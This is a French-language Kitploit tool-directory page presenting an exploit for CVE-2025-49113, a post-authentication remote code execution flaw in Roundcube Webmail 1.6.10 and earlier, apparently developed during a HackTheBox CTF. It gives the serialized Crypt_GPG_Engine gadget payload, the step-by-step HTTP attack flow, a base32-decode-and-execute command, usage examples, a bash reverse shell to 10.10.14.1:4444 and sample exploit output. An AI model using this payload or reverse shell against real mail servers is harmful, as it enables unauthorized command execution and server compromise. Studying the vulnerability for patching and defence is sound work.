Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-49113-Roundcube-RCE — CVE-2025-49113 – Roundcube ≤1.6.10 RCE post-authentification par désérialisation d'objet PHP (HackTheBox CTF) | Kitploit
Outils/GitHubGitHub/rippsec/cve-2025-49113-roundcube-rce
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebCTFTests d'IntrusionDéveloppement de Charges Utiles
GitHubrippsec/cve-2025-49113-roundcube-rce

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-49113-Roundcube-RCE

CVE-2025-49113 – Roundcube ≤1.6.10 RCE post-authentification par désérialisation d'objet PHP (HackTheBox CTF)

Voir le dépôt
il y a 4 moisPas encore vérifié

CVE-2025-49113 — RCE post-authentification via désérialisation d'objet PHP dans Roundcube

Présentation

ChampDétails
CVECVE-2025-49113
LogicielRoundcube Webmail
Versions affectées≤ 1.6.10
VulnérabilitéDésérialisation d'objet PHP → RCE
AuthentificationRequise (tout utilisateur valide)
ImpactExécution de code à distance sur le serveur
ContexteDécouverte lors d'un CTF HackTheBox

Description

Les versions de Roundcube Webmail jusqu'à la 1.6.10 incluses sont vulnérables à une exécution de code à distance après authentification. Le gestionnaire de téléchargement de fichiers désérialise un objet PHP intégré dans le nom de fichier d'une pièce jointe téléchargée. En forgeant un nom de fichier malveillant contenant un objet Crypt_GPG_Engine sérialisé, un attaquant authentifié peut déclencher l'exécution de commandes arbitraires sur le serveur sous-jacent lorsque le nom de fichier est traité.

Détails techniques

Classe de vulnérabilité

Désérialisation d'objet PHP (CWE-502). Le point de terminaison de téléchargement de fichiers de Roundcube transmet le nom de fichier fourni par le client via un chemin de désérialisation sans validation. La classe Crypt_GPG_Engine est disponible dans la chaîne de dépendances de Roundcube et sert de chaîne de gadgets exploitable.

Chaîne de gadgets

La classe Crypt_GPG_Engine contient une propriété _gpgconf qui est passée à un appel système lors de la destruction/initialisation de l'objet. En sérialisant une instance avec une valeur _gpgconf forgée, l'attaquant force l'exécution de commandes.

root@kitploit:~
Format de la charge utile sérialisée :
|O:16:"Crypt_GPG_Engine":3:{
    s:8:"_process"; b:0;
    s:8:"_gpgconf"; s:<len>:"<commande-encodée-en-base32> | base32 -d | sh &#";
    s:8:"_homedir"; s:0:"";
}

La commande est encodée en Base32 pour éviter les problèmes de caractères spéciaux dans le champ du nom de fichier.

Déroulement de l'exploitation

root@kitploit:~
Attaquant (authentifié)
    │
    ▼
GET /?_task=login         → Récupérer le jeton CSRF + cookie de session
    │
    ▼
POST /?_task=login         → S'authentifier avec des identifiants valides
    │
    ▼
POST /?_task=settings&_action=upload
    Content-Disposition: filename="<CHARGE_UTILE_SÉRIALISÉE>"
    │
    ▼
Le serveur désérialise le nom de fichier → Crypt_GPG_Engine instancié
    │
    ▼
_gpgconf exécuté → commande OS exécutée en tant qu'utilisateur du serveur web

Pourquoi Base32 ?

La commande est encodée en Base32 pour éviter les caractères qui casseraient le champ du nom de fichier multipart (guillemets, barres obliques, etc.). La commande finale exécutée sur le serveur est :

root@kitploit:~
echo "<CMD_B32>" | base32 -d | sh

Utilisation

root@kitploit:~
python3 exploit.py -u <USER> -p <PASS> -i <URL_CIBLE> -x <COMMANDE>
FlagDescription
-uNom d'utilisateur Roundcube

Exemple

root@kitploit:~
# Vérifier l'exécution de code en tant qu'utilisateur du serveur web
python3 exploit.py -u admin -p password -i http://mail.target.htb -x "id"

# Shell inverse
python3 exploit.py -u admin -p password -i http://mail.target.htb \
  -x "bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'"

Dépendances

Aucune bibliothèque externe requise — utilise uniquement la bibliothèque standard Python (http.client, urllib, base64, etc.).

Preuve de concept

root@kitploit:~
$ python3 exploit.py -u bob -p letmein -i http://mail.target.htb -x "id"
[*] Démarrage de l'exploit Roundcube (CVE-2025-49113)
[*] Récupération du jeton CSRF...
[+] Jeton CSRF obtenu : abc123...
[*] Authentification...
[+] Authentification réussie
[*] Exécution de la commande : id
[+] Exploit terminé. Vérifiez la cible pour l'exécution de commande.

Références

  • Entrée NVD
  • Site officiel de Roundcube
Télécharger l’outil
-pMot de passe Roundcube
-iURL cible (ex : http://mail.target.htb)
-xCommande à exécuter sur le serveur